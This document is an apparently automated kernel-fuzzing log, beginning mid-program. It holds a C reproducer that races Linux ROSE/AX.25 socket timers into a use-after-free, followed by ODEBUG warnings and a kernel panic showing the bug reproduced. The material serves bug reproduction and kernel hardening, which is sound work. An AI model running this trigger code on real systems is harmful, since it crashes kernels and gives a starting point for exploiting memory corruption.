        printf("[-] Failed to ioctl SIOCSIFFLAGS for ax0: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Brought ax0 up.\n");

    // 3. Set rose0 mac address and bring it up
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    ifr.ifr_hwaddr.sa_family = ARPHRD_ROSE;
    ifr.ifr_hwaddr.sa_data[0] = 1;
    res = ioctl(sock, SIOCSIFHWADDR, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCSIFHWADDR for rose0: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Set rose0 MAC address.\n");

    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    res = ioctl(sock, SIOCGIFFLAGS, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCGIFFLAGS for rose0: %s\n", strerror(errno));
        exit(1);
    }
    ifr.ifr_flags |= IFF_UP;
    res = ioctl(sock, SIOCSIFFLAGS, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCSIFFLAGS for rose0: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Brought rose0 up.\n");

    // 4. Set sysctls to guarantee t3timer and t0timer expire at the same time
    set_sysctl("/proc/sys/net/rose/clear_request_timeout", 100);
    set_sysctl("/proc/sys/net/rose/restart_request_timeout", 100);

    struct sockaddr_rose saddr;
    memset(&saddr, 0, sizeof(saddr));
    saddr.srose_family = AF_ROSE;
    saddr.srose_addr.rose_addr[0] = 1;
    saddr.srose_ndigis = 0;

    struct rose_route_struct route;
    memset(&route, 0, sizeof(route));
    route.address.rose_addr[0] = 2;
    route.mask = 5;
    route.neighbour.ax25_call[0] = 'A' << 1;
    route.neighbour.ax25_call[1] = 'B' << 1;
    route.neighbour.ax25_call[2] = 'C' << 1;
    route.neighbour.ax25_call[3] = 'D' << 1;
    route.neighbour.ax25_call[4] = 'E' << 1;
    route.neighbour.ax25_call[5] = 'F' << 1;
    route.neighbour.ax25_call[6] = 0;
    strcpy(route.device, "ax0");

    // 5. Trigger the race condition
    for (int i = 0; i < 10; i++) {
        int rsock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
        if (rsock < 0) {
            printf("[-] Failed to create rsock: %s\n", strerror(errno));
            exit(1);
        }

        res = bind(rsock, (struct sockaddr *)&saddr, sizeof(saddr));
        if (res < 0) {
            printf("[-] Failed to bind rsock: %s\n", strerror(errno));
            exit(1);
        }

        res = ioctl(rsock, SIOCADDRT, &route);
        if (res < 0) {
            printf("[-] Failed to ioctl SIOCADDRT: %s\n", strerror(errno));
            exit(1);
        }

        res = fcntl(rsock, F_SETFL, O_NONBLOCK);
        if (res < 0) {
            printf("[-] Failed to fcntl O_NONBLOCK: %s\n", strerror(errno));
            exit(1);
        }
        
        struct sockaddr_rose dest_addr;
        memset(&dest_addr, 0, sizeof(dest_addr));
        dest_addr.srose_family = AF_ROSE;
        dest_addr.srose_addr.rose_addr[0] = 2;
        dest_addr.srose_ndigis = 0;
        
        // Connect to the route (starts t0timer)
        res = connect(rsock, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
        if (res < 0 && errno != EINPROGRESS) {
            printf("[-] Failed to connect: %s\n", strerror(errno));
            exit(1);
        }
        
        // Delete the route (stops t0timer, drops routing refcount)
        res = ioctl(rsock, SIOCDELRT, &route);
        if (res < 0) {
            printf("[-] Failed to ioctl SIOCDELRT: %s\n", strerror(errno));
            exit(1);
        }
        
        // Close the socket (restarts t0timer, starts t3timer)
        close(rsock);
        printf("[+] Iteration %d completed.\n", i);
    }

    // 6. Wait for timers to expire (t3timer frees neigh, t0timer triggers UAF)
    printf("[+] Waiting for timers to expire...\n");
    sleep(1);

    printf("[+] Done.\n");
    return 0;
}
]

200/5 2026/05/26 11:59 action compile-c-prog
0m Results:
map[CompilerError: FormattedReproC:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <net/if_arp.h>
#include <linux/ax25.h>
#include <linux/rose.h>

#define N_AX25 5

void set_sysctl(const char *path, int val) {
    FILE *f = fopen(path, "w");
    if (f) {
        fprintf(f, "%d\n", val);
        fclose(f);
        printf("[+] Set sysctl %s to %d\n", path, val);
    } else {
        printf("[-] Failed to open sysctl %s: %s\n", path, strerror(errno));
    }
}

int main() {
    int res;

    // 1. Create ax0 using mkiss line discipline
    int ptmx = open("/dev/ptmx", O_RDWR);
    if (ptmx < 0) {
        printf("[-] Failed to open /dev/ptmx: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Opened /dev/ptmx.\n");

    int ldisc = N_AX25;
    res = ioctl(ptmx, TIOCSETD, &ldisc);
    if (res < 0) {
        printf("[-] Failed to ioctl TIOCSETD: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Set line discipline to N_AX25.\n");

    int sock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
    if (sock < 0) {
        printf("[-] Failed to create AF_ROSE socket: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created AF_ROSE socket.\n");

    // 2. Bring ax0 up
    struct ifreq ifr;
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "ax0");
    res = ioctl(sock, SIOCGIFFLAGS, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCGIFFLAGS for ax0: %s\n", strerror(errno));
        exit(1);
    }
    ifr.ifr_flags |= IFF_UP;
    res = ioctl(sock, SIOCSIFFLAGS, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCSIFFLAGS for ax0: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Brought ax0 up.\n");

    // 3. Set rose0 mac address and bring it up
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    ifr.ifr_hwaddr.sa_family = ARPHRD_ROSE;
    ifr.ifr_hwaddr.sa_data[0] = 1;
    res = ioctl(sock, SIOCSIFHWADDR, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCSIFHWADDR for rose0: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Set rose0 MAC address.\n");

    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    res = ioctl(sock, SIOCGIFFLAGS, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCGIFFLAGS for rose0: %s\n", strerror(errno));
        exit(1);
    }
    ifr.ifr_flags |= IFF_UP;
    res = ioctl(sock, SIOCSIFFLAGS, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCSIFFLAGS for rose0: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Brought rose0 up.\n");

    // 4. Set sysctls to guarantee t3timer and t0timer expire at the same time
    set_sysctl("/proc/sys/net/rose/clear_request_timeout", 100);
    set_sysctl("/proc/sys/net/rose/restart_request_timeout", 100);

    struct sockaddr_rose saddr;
    memset(&saddr, 0, sizeof(saddr));
    saddr.srose_family = AF_ROSE;
    saddr.srose_addr.rose_addr[0] = 1;
    saddr.srose_ndigis = 0;

    struct rose_route_struct route;
    memset(&route, 0, sizeof(route));
    route.address.rose_addr[0] = 2;
    route.mask = 5;
    route.neighbour.ax25_call[0] = 'A' << 1;
    route.neighbour.ax25_call[1] = 'B' << 1;
    route.neighbour.ax25_call[2] = 'C' << 1;
    route.neighbour.ax25_call[3] = 'D' << 1;
    route.neighbour.ax25_call[4] = 'E' << 1;
    route.neighbour.ax25_call[5] = 'F' << 1;
    route.neighbour.ax25_call[6] = 0;
    strcpy(route.device, "ax0");

    // 5. Trigger the race condition
    for (int i = 0; i < 10; i++) {
        int rsock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
        if (rsock < 0) {
            printf("[-] Failed to create rsock: %s\n", strerror(errno));
            exit(1);
        }

        res = bind(rsock, (struct sockaddr *)&saddr, sizeof(saddr));
        if (res < 0) {
            printf("[-] Failed to bind rsock: %s\n", strerror(errno));
            exit(1);
        }

        res = ioctl(rsock, SIOCADDRT, &route);
        if (res < 0) {
            printf("[-] Failed to ioctl SIOCADDRT: %s\n", strerror(errno));
            exit(1);
        }

        res = fcntl(rsock, F_SETFL, O_NONBLOCK);
        if (res < 0) {
            printf("[-] Failed to fcntl O_NONBLOCK: %s\n", strerror(errno));
            exit(1);
        }
        
        struct sockaddr_rose dest_addr;
        memset(&dest_addr, 0, sizeof(dest_addr));
        dest_addr.srose_family = AF_ROSE;
        dest_addr.srose_addr.rose_addr[0] = 2;
        dest_addr.srose_ndigis = 0;
        
        // Connect to the route (starts t0timer)
        res = connect(rsock, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
        if (res < 0 && errno != EINPROGRESS) {
            printf("[-] Failed to connect: %s\n", strerror(errno));
            exit(1);
        }
        
        // Delete the route (stops t0timer, drops routing refcount)
        res = ioctl(rsock, SIOCDELRT, &route);
        if (res < 0) {
            printf("[-] Failed to ioctl SIOCDELRT: %s\n", strerror(errno));
            exit(1);
        }
        
        // Close the socket (restarts t0timer, starts t3timer)
        close(rsock);
        printf("[+] Iteration %d completed.\n", i);
    }

    // 6. Wait for timers to expire (t3timer frees neigh, t0timer triggers UAF)
    printf("[+] Waiting for timers to expire...\n");
    sleep(1);

    printf("[+] Done.\n");
    return 0;
}
]

201/5 2026/05/26 11:59 action If
0m Args:
map[CompilerError:]

202/3 2026/05/26 11:59 action run-c-repro
2m Results:
map[CandidateBugTitle:WARNING: ODEBUG bug in handle_softirqs CandidateCrashReport:------------[ cut here ]------------
ODEBUG: free active (active state 0) object: ffff88811733b090 object type: timer_list hint: rose_t0timer_expiry+0x0/0x350 net/rose/rose_link.c:-1
WARNING: lib/debugobjects.c:632 at debug_print_object lib/debugobjects.c:629 [inline], CPU#0: swapper/0/0
WARNING: lib/debugobjects.c:632 at __debug_check_no_obj_freed lib/debugobjects.c:1116 [inline], CPU#0: swapper/0/0
WARNING: lib/debugobjects.c:632 at debug_check_no_obj_freed+0x405/0x550 lib/debugobjects.c:1146, CPU#0: swapper/0/0
Modules linked in:
CPU: 0 UID: 0 PID: 0 Comm: swapper/0 Not tainted syzkaller #1 PREEMPT(full) 
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
RIP: 0010:debug_print_object lib/debugobjects.c:629 [inline]
RIP: 0010:__debug_check_no_obj_freed lib/debugobjects.c:1116 [inline]
RIP: 0010:debug_check_no_obj_freed+0x44a/0x550 lib/debugobjects.c:1146
Code: 89 44 24 20 e8 b7 5f 7a fd 48 8b 44 24 20 4c 8b 4d 00 4c 89 ef 48 c7 c6 20 02 0e 8c 48 c7 c2 20 08 0e 8c 8b 0c 24 4d 89 f8 50 <67> 48 0f b9 3a 48 83 c4 08 4c 8b 6c 24 18 48 b9 00 00 00 00 00 fc
RSP: 0018:ffffc90000007b68 EFLAGS: 00010246
RAX: ffffffff8a7d4d90 RBX: ffffffff9a51df10 RCX: 0000000000000000
RDX: ffffffff8c0e0820 RSI: ffffffff8c0e0220 RDI: ffffffff90255cb0
RBP: ffffffff8bb03e60 R08: ffff88811733b090 R09: ffffffff8bb05240
R10: dffffc0000000000 R11: ffffffff81b0af00 R12: ffff88811733b200
R13: ffffffff90255cb0 R14: ffff88811733b000 R15: ffff88811733b090
FS:  0000000000000000(0000) GS:ffff8881a55ef000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 0000562af2b84300 CR3: 000000000e54e000 CR4: 00000000000006f0
Call Trace:
 <IRQ>
 slab_free_hook mm/slub.c:2616 [inline]
 slab_free mm/slub.c:6165 [inline]
 kfree+0x13a/0x630 mm/slub.c:6483
 rose_neigh_put include/net/rose.h:166 [inline]
 rose_timer_expiry+0x4cb/0x600 net/rose/rose_timer.c:183
 call_timer_fn+0x192/0x640 kernel/time/timer.c:1748
 expire_timers kernel/time/timer.c:1799 [inline]
 __run_timers kernel/time/timer.c:2373 [inline]
 __run_timer_base+0x652/0x8b0 kernel/time/timer.c:2385
 run_timer_base kernel/time/timer.c:2394 [inline]
 run_timer_softirq+0xb7/0x170 kernel/time/timer.c:2404
 handle_softirqs+0x22a/0x870 kernel/softirq.c:622
 __do_softirq kernel/softirq.c:656 [inline]
 invoke_softirq kernel/softirq.c:496 [inline]
 __irq_exit_rcu+0x5f/0x150 kernel/softirq.c:723
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:739
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1056 [inline]
 sysvec_apic_timer_interrupt+0xa6/0xc0 arch/x86/kernel/apic/apic.c:1056
 </IRQ>
 <TASK>
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:697
RIP: 0010:pv_native_safe_halt+0xf/0x20 arch/x86/kernel/paravirt.c:63
Code: ae 7b 02 c3 cc cc cc cc cc cc cc 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 f3 0f 1e fa eb 07 0f 00 2d 23 85 16 00 fb f4 <e9> 7c e7 02 00 cc cc cc cc cc cc cc cc cc cc cc cc 90 90 90 90 90
RSP: 0018:ffffffff8e407dc0 EFLAGS: 00000202
RAX: 0000000000118161 RBX: ffffffff8199900a RCX: 0000000080000001
RDX: 0000000000000001 RSI: ffffffff8de3780d RDI: ffffffff8c0dfb60
RBP: ffffffff8e407eb0 R08: ffff88813883399b R09: 1ffff11027106733
R10: dffffc0000000000 R11: ffffed1027106734 R12: 0000000000000000
R13: 1ffffffff1c92a08 R14: 0000000000000000 R15: 1ffffffff1c92a08
 arch_safe_halt arch/x86/kernel/process.c:766 [inline]
 default_idle+0x9/0x20 arch/x86/kernel/process.c:767
 default_idle_call+0x72/0xb0 kernel/sched/idle.c:122
 cpuidle_idle_call kernel/sched/idle.c:199 [inline]
 do_idle+0x36a/0x5f0 kernel/sched/idle.c:352
 cpu_startup_entry+0x43/0x60 kernel/sched/idle.c:451
 rest_init+0x2de/0x300 init/main.c:760
 start_kernel+0x385/0x3d0 init/main.c:1210
 x86_64_start_reservations+0x24/0x30 arch/x86/kernel/head64.c:310
 x86_64_start_kernel+0x143/0x1c0 arch/x86/kernel/head64.c:291
 common_startup_64+0x13e/0x147
 </TASK>
----------------
Code disassembly (best guess):
   0:	89 44 24 20          	mov    %eax,0x20(%rsp)
   4:	e8 b7 5f 7a fd       	call   0xfd7a5fc0
   9:	48 8b 44 24 20       	mov    0x20(%rsp),%rax
   e:	4c 8b 4d 00          	mov    0x0(%rbp),%r9
  12:	4c 89 ef             	mov    %r13,%rdi
  15:	48 c7 c6 20 02 0e 8c 	mov    $0xffffffff8c0e0220,%rsi
  1c:	48 c7 c2 20 08 0e 8c 	mov    $0xffffffff8c0e0820,%rdx
  23:	8b 0c 24             	mov    (%rsp),%ecx
  26:	4d 89 f8             	mov    %r15,%r8
  29:	50                   	push   %rax
* 2a:	67 48 0f b9 3a       	ud1    (%edx),%rdi <-- trapping instruction
  2f:	48 83 c4 08          	add    $0x8,%rsp
  33:	4c 8b 6c 24 18       	mov    0x18(%rsp),%r13
  38:	48                   	rex.W
  39:	b9 00 00 00 00       	mov    $0x0,%ecx
  3e:	00 fc                	add    %bh,%ah
 CandidateReproduced:true ConsoleOutput:Warning: Permanently added '[localhost]:59615' (ED25519) to the list of known hosts.
[  116.462843][ T6051] mkiss: ax0: crc mode is auto.
[  116.468103][   T33] kauditd_printk_skb: 18 callbacks suppressed
[  116.468118][   T33] audit: type=1400 audit(1779796876.743:106): avc:  denied  { create } for  pid=6051 comm="syz-executor321" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
[  116.477377][ T6051] mkiss: ax0: Trying crc-smack
[  116.497325][ T1097] mkiss: ax0: Switching to crc-smack
[  116.528564][   T33] audit: type=1400 audit(1779796876.743:107): avc:  denied  { ioctl } for  pid=6051 comm="syz-executor321" path="socket:[8135]" dev="sockfs" ino=8135 ioctlcmd=0x8913 scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
[  116.547622][   T33] audit: type=1400 audit(1779796876.753:108): avc:  denied  { bind } for  pid=6051 comm="syz-executor321" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
[  116.563885][   T33] audit: type=1400 audit(1779796876.753:109): avc:  denied  { connect } for  pid=6051 comm="syz-executor321" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
[  116.619746][    C0] ------------[ cut here ]------------
[  116.623165][    C0] ODEBUG: free active (active state 0) object: ffff88811733b090 object type: timer_list hint: rose_t0timer_expiry+0x0/0x350
[  116.631863][    C0] WARNING: lib/debugobjects.c:632 at debug_check_no_obj_freed+0x405/0x550, CPU#0: swapper/0/0
[  116.637394][    C0] Modules linked in:
[  116.639584][    C0] CPU: 0 UID: 0 PID: 0 Comm: swapper/0 Not tainted syzkaller #1 PREEMPT(full) 
[  116.643387][    C0] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  116.647754][    C0] RIP: 0010:debug_check_no_obj_freed+0x44a/0x550
[  116.650684][    C0] Code: 89 44 24 20 e8 b7 5f 7a fd 48 8b 44 24 20 4c 8b 4d 00 4c 89 ef 48 c7 c6 20 02 0e 8c 48 c7 c2 20 08 0e 8c 8b 0c 24 4d 89 f8 50 <67> 48 0f b9 3a 48 83 c4 08 4c 8b 6c 24 18 48 b9 00 00 00 00 00 fc
[  116.659535][    C0] RSP: 0018:ffffc90000007b68 EFLAGS: 00010246
[  116.662834][    C0] RAX: ffffffff8a7d4d90 RBX: ffffffff9a51df10 RCX: 0000000000000000
[  116.665881][    C0] RDX: ffffffff8c0e0820 RSI: ffffffff8c0e0220 RDI: ffffffff90255cb0
[  116.668967][    C0] RBP: ffffffff8bb03e60 R08: ffff88811733b090 R09: ffffffff8bb05240
[  116.672129][    C0] R10: dffffc0000000000 R11: ffffffff81b0af00 R12: ffff88811733b200
[  116.676430][    C0] R13: ffffffff90255cb0 R14: ffff88811733b000 R15: ffff88811733b090
[  116.680812][    C0] FS:  0000000000000000(0000) GS:ffff8881a55ef000(0000) knlGS:0000000000000000
[  116.685611][    C0] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  116.689033][    C0] CR2: 0000562af2b84300 CR3: 000000000e54e000 CR4: 00000000000006f0
[  116.693750][    C0] Call Trace:
[  116.695656][    C0]  <IRQ>
[  116.697247][    C0]  ? __pfx_rose_t0timer_expiry+0x10/0x10
[  116.700455][    C0]  kfree+0x13a/0x630
[  116.702527][    C0]  ? rose_timer_expiry+0x4cb/0x600
[  116.704694][    C0]  rose_timer_expiry+0x4cb/0x600
[  116.706499][    C0]  call_timer_fn+0x192/0x640
[  116.708722][    C0]  ? __pfx_rose_timer_expiry+0x10/0x10
[  116.711575][    C0]  ? call_timer_fn+0xd4/0x640
[  116.713783][    C0]  ? __pfx_call_timer_fn+0x10/0x10
[  116.716573][    C0]  ? _raw_spin_unlock_irq+0x23/0x50
[  116.719224][    C0]  ? __pfx_rose_timer_expiry+0x10/0x10
[  116.721218][    C0]  __run_timer_base+0x652/0x8b0
[  116.723149][    C0]  ? __pfx___run_timer_base+0x10/0x10
[  116.725135][    C0]  ? clockevents_program_event+0x247/0x350
[  116.727542][    C0]  ? sched_clock_cpu+0x74/0x440
[  116.729854][    C0]  run_timer_softirq+0xb7/0x170
[  116.731644][    C0]  handle_softirqs+0x22a/0x870
[  116.734013][    C0]  ? __irq_exit_rcu+0x5f/0x150
[  116.735727][    C0]  __irq_exit_rcu+0x5f/0x150
[  116.737794][    C0]  irq_exit_rcu+0x9/0x30
[  116.739303][    C0]  sysvec_apic_timer_interrupt+0xa6/0xc0
[  116.741801][    C0]  </IRQ>
[  116.743054][    C0]  <TASK>
[  116.744125][    C0]  asm_sysvec_apic_timer_interrupt+0x1a/0x20
[  116.746620][    C0] RIP: 0010:pv_native_safe_halt+0xf/0x20
[  116.749348][    C0] Code: ae 7b 02 c3 cc cc cc cc cc cc cc 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 f3 0f 1e fa eb 07 0f 00 2d 23 85 16 00 fb f4 <e9> 7c e7 02 00 cc cc cc cc cc cc cc cc cc cc cc cc 90 90 90 90 90
[  116.758207][    C0] RSP: 0018:ffffffff8e407dc0 EFLAGS: 00000202
[  116.761710][    C0] RAX: 0000000000118161 RBX: ffffffff8199900a RCX: 0000000080000001
[  116.766031][    C0] RDX: 0000000000000001 RSI: ffffffff8de3780d RDI: ffffffff8c0dfb60
[  116.770451][    C0] RBP: ffffffff8e407eb0 R08: ffff88813883399b R09: 1ffff11027106733
[  116.773976][    C0] R10: dffffc0000000000 R11: ffffed1027106734 R12: 0000000000000000
[  116.777027][    C0] R13: 1ffffffff1c92a08 R14: 0000000000000000 R15: 1ffffffff1c92a08
[  116.781342][    C0]  ? do_idle+0x36a/0x5f0
[  116.783867][    C0]  default_idle+0x9/0x20
[  116.786239][    C0]  default_idle_call+0x72/0xb0
[  116.788857][    C0]  do_idle+0x36a/0x5f0
[  116.791260][    C0]  ? __pfx_do_idle+0x10/0x10
[  116.793412][    C0]  cpu_startup_entry+0x43/0x60
[  116.795776][    C0]  rest_init+0x2de/0x300
[  116.798234][    C0]  start_kernel+0x385/0x3d0
[  116.800992][    C0]  x86_64_start_reservations+0x24/0x30
[  116.804151][    C0]  x86_64_start_kernel+0x143/0x1c0
[  116.807090][    C0]  common_startup_64+0x13e/0x147
[  116.810064][    C0]  </TASK>
[  116.811856][    C0] Kernel panic - not syncing: kernel: panic_on_warn set ...
[  116.816329][    C0] CPU: 0 UID: 0 PID: 0 Comm: swapper/0 Not tainted syzkaller #1 PREEMPT(full) 
[  116.821097][    C0] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  116.826032][    C0] Call Trace:
[  116.827965][    C0]  <IRQ>
[  116.829611][    C0]  vpanic+0x56c/0xa60
[  116.831921][    C0]  ? __pfx__printk+0x10/0x10
[  116.834531][    C0]  ? __pfx_vpanic+0x10/0x10
[  116.837279][    C0]  ? is_bpf_text_address+0x292/0x2b0
[  116.840287][    C0]  ? is_bpf_text_address+0x26/0x2b0
[  116.843354][    C0]  panic+0xc5/0xd0
[  116.844817][    C0]  ? __pfx_panic+0x10/0x10
[  116.847375][    C0]  ? common_startup_64+0x13e/0x147
[  116.850526][    C0]  __warn+0x315/0x4f0
[  116.852959][    C0]  ? debug_check_no_obj_freed+0x405/0x550
[  116.856389][    C0]  ? debug_check_no_obj_freed+0x405/0x550
[  116.859431][    C0]  __report_bug+0x29a/0x540
[  116.861854][    C0]  ? debug_check_no_obj_freed+0x405/0x550
[  116.864642][    C0]  ? __pfx___report_bug+0x10/0x10
[  116.867424][    C0]  ? add_lock_to_list+0xc7/0x100
[  116.870222][    C0]  report_bug_entry+0x19a/0x290
[  116.872887][    C0]  ? debug_check_no_obj_freed+0x44a/0x550
[  116.874987][    C0]  ? debug_check_no_obj_freed+0x44f/0x550
[  116.878332][    C0]  handle_bug+0xce/0x200
[  116.880841][    C0]  exc_invalid_op+0x1a/0x50
[  116.883619][    C0]  asm_exc_invalid_op+0x1a/0x20
[  116.886678][    C0] RIP: 0010:debug_check_no_obj_freed+0x44a/0x550
[  116.890365][    C0] Code: 89 44 24 20 e8 b7 5f 7a fd 48 8b 44 24 20 4c 8b 4d 00 4c 89 ef 48 c7 c6 20 02 0e 8c 48 c7 c2 20 08 0e 8c 8b 0c 24 4d 89 f8 50 <67> 48 0f b9 3a 48 83 c4 08 4c 8b 6c 24 18 48 b9 00 00 00 00 00 fc
[  116.900530][    C0] RSP: 0018:ffffc90000007b68 EFLAGS: 00010246
[  116.905253][    C0] RAX: ffffffff8a7d4d90 RBX: ffffffff9a51df10 RCX: 0000000000000000
[  116.909454][    C0] RDX: ffffffff8c0e0820 RSI: ffffffff8c0e0220 RDI: ffffffff90255cb0
[  116.913370][    C0] RBP: ffffffff8bb03e60 R08: ffff88811733b090 R09: ffffffff8bb05240
[  116.916791][    C0] R10: dffffc0000000000 R11: ffffffff81b0af00 R12: ffff88811733b200
[  116.921195][    C0] R13: ffffffff90255cb0 R14: ffff88811733b000 R15: ffff88811733b090
[  116.925711][    C0]  ? __pfx_timer_debug_hint+0x10/0x10
[  116.928798][    C0]  ? __pfx_rose_t0timer_expiry+0x10/0x10
[  116.931211][    C0]  ? __pfx_rose_t0timer_expiry+0x10/0x10
[  116.934524][    C0]  kfree+0x13a/0x630
[  116.936813][    C0]  ? rose_timer_expiry+0x4cb/0x600
[  116.939757][    C0]  rose_timer_expiry+0x4cb/0x600
[  116.942600][    C0]  call_timer_fn+0x192/0x640
[  116.944270][    C0]  ? __pfx_rose_timer_expiry+0x10/0x10
[  116.947246][    C0]  ? call_timer_fn+0xd4/0x640
[  116.949586][    C0]  ? __pfx_call_timer_fn+0x10/0x10
[  116.952515][    C0]  ? _raw_spin_unlock_irq+0x23/0x50
[  116.954266][    C0]  ? __pfx_rose_timer_expiry+0x10/0x10
[  116.956475][    C0]  __run_timer_base+0x652/0x8b0
[  116.959355][    C0]  ? __pfx___run_timer_base+0x10/0x10
[  116.962064][    C0]  ? clockevents_program_event+0x247/0x350
[  116.965403][    C0]  ? sched_clock_cpu+0x74/0x440
[  116.968419][    C0]  run_timer_softirq+0xb7/0x170
[  116.970139][    C0]  handle_softirqs+0x22a/0x870
[  116.973055][    C0]  ? __irq_exit_rcu+0x5f/0x150
[  116.975990][    C0]  __irq_exit_rcu+0x5f/0x150
[  116.978341][    C0]  irq_exit_rcu+0x9/0x30
[  116.979855][    C0]  sysvec_apic_timer_interrupt+0xa6/0xc0
[  116.982948][    C0]  </IRQ>
[  116.984641][    C0]  <TASK>
[  116.986342][    C0]  asm_sysvec_apic_timer_interrupt+0x1a/0x20
[  116.989694][    C0] RIP: 0010:pv_native_safe_halt+0xf/0x20
[  116.994672][    C0] Code: ae 7b 02 c3 cc cc cc cc cc cc cc 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 f3 0f 1e fa eb 07 0f 00 2d 23 85 16 00 fb f4 <e9> 7c e7 02 00 cc cc cc cc cc cc cc cc cc cc cc cc 90 90 90 90 90
[  117.004667][    C0] RSP: 0018:ffffffff8e407dc0 EFLAGS: 00000202
[  117.008110][    C0] RAX: 0000000000118161 RBX: ffffffff8199900a RCX: 0000000080000001
[  117.012603][    C0] RDX: 0000000000000001 RSI: ffffffff8de3780d RDI: ffffffff8c0dfb60
[  117.015446][    C0] RBP: ffffffff8e407eb0 R08: ffff88813883399b R09: 1ffff11027106733
[  117.018188][    C0] R10: dffffc0000000000 R11: ffffed1027106734 R12: 0000000000000000
[  117.022952][    C0] R13: 1ffffffff1c92a08 R14: 0000000000000000 R15: 1ffffffff1c92a08
[  117.027693][    C0]  ? do_idle+0x36a/0x5f0
[  117.030410][    C0]  default_idle+0x9/0x20
[  117.033538][    C0]  default_idle_call+0x72/0xb0
[  117.035326][    C0]  do_idle+0x36a/0x5f0
[  117.036814][    C0]  ? __pfx_do_idle+0x10/0x10
[  117.039394][    C0]  cpu_startup_entry+0x43/0x60
[  117.042103][    C0]  rest_init+0x2de/0x300
[  117.044724][    C0]  start_kernel+0x385/0x3d0
[  117.046506][    C0]  x86_64_start_reservations+0x24/0x30
[  117.049683][    C0]  x86_64_start_kernel+0x143/0x1c0
[  117.052609][    C0]  common_startup_64+0x13e/0x147
[  117.055261][    C0]  </TASK>
[  117.061086][    C0] Kernel Offset: disabled
[  117.063843][    C0] Rebooting in 86400 seconds..
 OtherCrashReports:[------------[ cut here ]------------
ODEBUG: free active (active state 0) object: ffff88810b1dd090 object type: timer_list hint: rose_t0timer_expiry+0x0/0x350 net/rose/rose_link.c:-1
WARNING: lib/debugobjects.c:632 at debug_print_object lib/debugobjects.c:629 [inline], CPU#1: swapper/1/0
WARNING: lib/debugobjects.c:632 at __debug_check_no_obj_freed lib/debugobjects.c:1116 [inline], CPU#1: swapper/1/0
WARNING: lib/debugobjects.c:632 at debug_check_no_obj_freed+0x405/0x550 lib/debugobjects.c:1146, CPU#1: swapper/1/0
Modules linked in:
CPU: 1 UID: 0 PID: 0 Comm: swapper/1 Not tainted syzkaller #1 PREEMPT(full) 
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
RIP: 0010:debug_print_object lib/debugobjects.c:629 [inline]
RIP: 0010:__debug_check_no_obj_freed lib/debugobjects.c:1116 [inline]
RIP: 0010:debug_check_no_obj_freed+0x44a/0x550 lib/debugobjects.c:1146
Code: 89 44 24 20 e8 b7 5f 7a fd 48 8b 44 24 20 4c 8b 4d 00 4c 89 ef 48 c7 c6 20 02 0e 8c 48 c7 c2 20 08 0e 8c 8b 0c 24 4d 89 f8 50 <67> 48 0f b9 3a 48 83 c4 08 4c 8b 6c 24 18 48 b9 00 00 00 00 00 fc
RSP: 0018:ffffc90000a089a8 EFLAGS: 00010246
RAX: ffffffff8a7d4d90 RBX: ffffffff9a506798 RCX: 0000000000000000
RDX: ffffffff8c0e0820 RSI: ffffffff8c0e0220 RDI: ffffffff90255cb0
RBP: ffffffff8bb03e60 R08: ffff88810b1dd090 R09: ffffffff8bb05240
R10: dffffc0000000000 R11: ffffffff81b0af00 R12: ffff88810b1dd200
R13: ffffffff90255cb0 R14: ffff88810b1dd000 R15: ffff88810b1dd090
